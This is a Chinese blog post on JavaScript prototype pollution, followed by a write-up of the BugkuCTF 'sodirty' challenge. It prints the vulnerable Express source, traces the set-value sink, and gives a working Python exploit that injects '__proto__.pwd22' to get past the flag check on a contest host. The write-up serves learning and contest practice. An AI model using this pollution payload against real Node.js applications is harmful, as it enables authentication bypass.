js源链污染
题目考的目的:js原链污染
js原链污染简介
JavaScript是一门灵活的语言,基于原型实现继承,原型是Javascript的继承的基础。
它本身不提供一个 class实现。(在 ES2015/ES6 中引入了 class 关键字,但那只是语法糖,JavaScript 仍然是基于原型的
遵循ECMAScript标准,someObject.[[Prototype]] 符号是用于指向 someObject 的原型。从 ECMAScript 6 开始,[[Prototype]] 可以通过 Object.getPrototypeOf() 和 Object.setPrototypeOf() 访问器来访问。这个等同于 JavaScript 的非标准但许多浏览器实现的属性 proto
每个实例对象都有一个私有属性proto指向它的构造函数的原型prototype,也就是
function a(){
this.a="AAA"
}
b=new a()
b.__proto__===a.Prototype
原型prototype是类的一个属性,而这个属性中的值和方法被每一个由类实例出来的对象所共有,而我们可以通过实例对象test1.__proto__
来访问Test类的原型,那么这样就出现了一个问题,假如我们可以控制实例对象的__proto__
属性,则等于可以修改该类所有实例对象的__proto__
属性。
js原链污染测试
定义一个对象测试
challenger={"username":"user","password":"pass","age":80}
key={}
challenger.__proto__.pwd2="pwd"
由于源链被污染,定义的pwd2值在任何地方都可以被访问到
更直接的表明
非对象污染则会失败
but,实际上的源链污染需要找到对应能操控对象的函数来进行污染
bugkuctf sodirty题目分析
源码如下:
var express = require('express');
const setFn = require('set-value');
var router = express.Router();
const Admin = {
"password":process.env.password?process.env.password:"password"
}
router.post("/getflag", function (req, res, next) {
if (req.body.password === undefined || req.body.password === req.session.challenger.password){
res.send("登录失败");
}else{
if(req.session.challenger.age > 79){
res.send("糟老头子坏滴很");
}
let key = req.body.key.toString();
let password = req.body.password.toString();
if(Admin[key] === password){
res.send(process.env.flag ? process.env.flag : "flag{test}");
}else {
res.send("密码错误,请使用管理员用户名登录.");
}
}
});
router.get('/reg', function (req, res, next) {
req.session.challenger = {
"username": "user",
"password": "pass",
"age": 80
}
res.send("用户创建成功!");
});
router.get('/', function (req, res, next) {
res.redirect('index');
});
router.get('/index', function (req, res, next) {
res.send('<title>BUGKU-登录</title><h1>前端被炒了<br><br><br><a href="./reg">注册</a>');
});
router.post("/update", function (req, res, next) {
if(req.session.challenger === undefined){
res.redirect('/reg');
}else{
if (req.body.attrkey === undefined || req.body.attrval === undefined) {
res.send("传参有误");
}else {
let key = req.body.attrkey.toString();
let value = req.body.attrval.toString();
setFn(req.session.challenger, key, value);
res.send("修改成功");
}
}
});
module.exports = router;
分析流程:
/路径:
1.重定向到/reg路径
/reg路径:
创建一个req.session.challenger对象
/update路径:
1.req.session.challenger如果为空则被重定向到/reg路径
2.req.body.attrkey或req.body.attrval为undefined的情况下返回为"传参有误"
2.如果不为undefined将设置key和value,调用setFn函数设置req.session.challenger对象的值
传参链:
req.body.attrkey/req.body.attrval->let key = req.body.attrkey.toString();/let value = req.body.attrval.toString();->setFn(req.session.challenger, key, value); #原链污染点
/getflag路径:
1.req.body.password为undefined或req.body.password等于req.session.challenger对象里的password则返回登录失败
2.req.session.challenger.age值大于79返回糟老头子坏滴很
3.Admin对象里的key键的值等于req.body.password则返回真的flag
漏洞点出现在
setFn(req.session.challenger, key, value);
setFn函数对应require('set-value');
,位于同目录下的set-value/index.js
里的result函数
function result(target, path, value, merge) {
if (merge && isPlain(target[path]) && isPlain(value)) {
target[path] = merge({}, target[path], value);
} else {
target[path] = value;
}
}
对应的Github:https://github.com/freewisdom/set-value
由于需要以{"key":"value"}
的方式来进行更新,所以要用json,具体是看文章知道
考点如下
1.发现路由"/reg"会创建一个challenger用户字典
2.发现路由"/update"可以对challenger传参键值对(attrkey和attrval),对challenger字典中进行修改
3.路由"/getflag"可以获取到flag,但存在几个验证,首先需要传参两个参数(key和password)进来,并且对用户字典中的年龄进行判断,大于79会失败;其次Admin[key]需要等于password,而body.password是多少我们是不知道的
题目解题思路如下
1.操控源链创建一个变量
2.更新req.session.challenger对象里age键值
最后请求/getflag路径的时候,设置key参数为新建变量的名称和设置password变量名为新建变量名的值,使判断成立
if (req.body.password === undefined || req.body.password === req.session.challenger.password){
res.send("登录失败");
}else{
if(req.session.challenger.age > 79){
res.send("糟老头子坏滴很");
}
let key = req.body.key.toString();
let password = req.body.password.toString();
if(Admin[key] === password){
res.send(process.env.flag ? process.env.flag : "flag{test}");
}else {
res.send("密码错误,请使用管理员用户名登录.");
}
}
payload如下
import requests
class getflag(object):
def __init__(self,url):
self.requests=requests.session()
self.headers={"Content-Type": "application/json"}
self.reg="{}/reg".format(url)
self.update="{}/update".format(url)
self.getflag="{}/getflag".format(url)
def getflag_(self):
reg=self.requests.get(self.reg)
print(reg.text)
update=self.requests.post(self.update,headers=self.headers,json={"attrkey":"__proto__.pwd22","attrval":"pwd"})
print(update.text)
update2=self.requests.post(self.update,headers=self.headers,json={"attrkey":"age","attrval":10})
print(update2.text)
flag=self.requests.post(self.getflag,headers=self.headers,json={"key":"pwd22","password":"pwd"})
print(flag.text)
if __name__ == '__main__':
obj=getflag("http://114.67.246.176:19392")
obj.getflag_()
参考链接
https://blog.csdn.net/qq_41107295/article/details/95789944
https://www.cnblogs.com/escape-w/p/12347705.html
https://www.wlhhlc.top/posts/49040/
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:js源链污染
本文作者:九世
发布时间:2021-03-10, 19:52:49
最后更新:2021-03-10, 20:10:55
原始链接:http://jiushill.github.io/posts/3e45dbe4.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。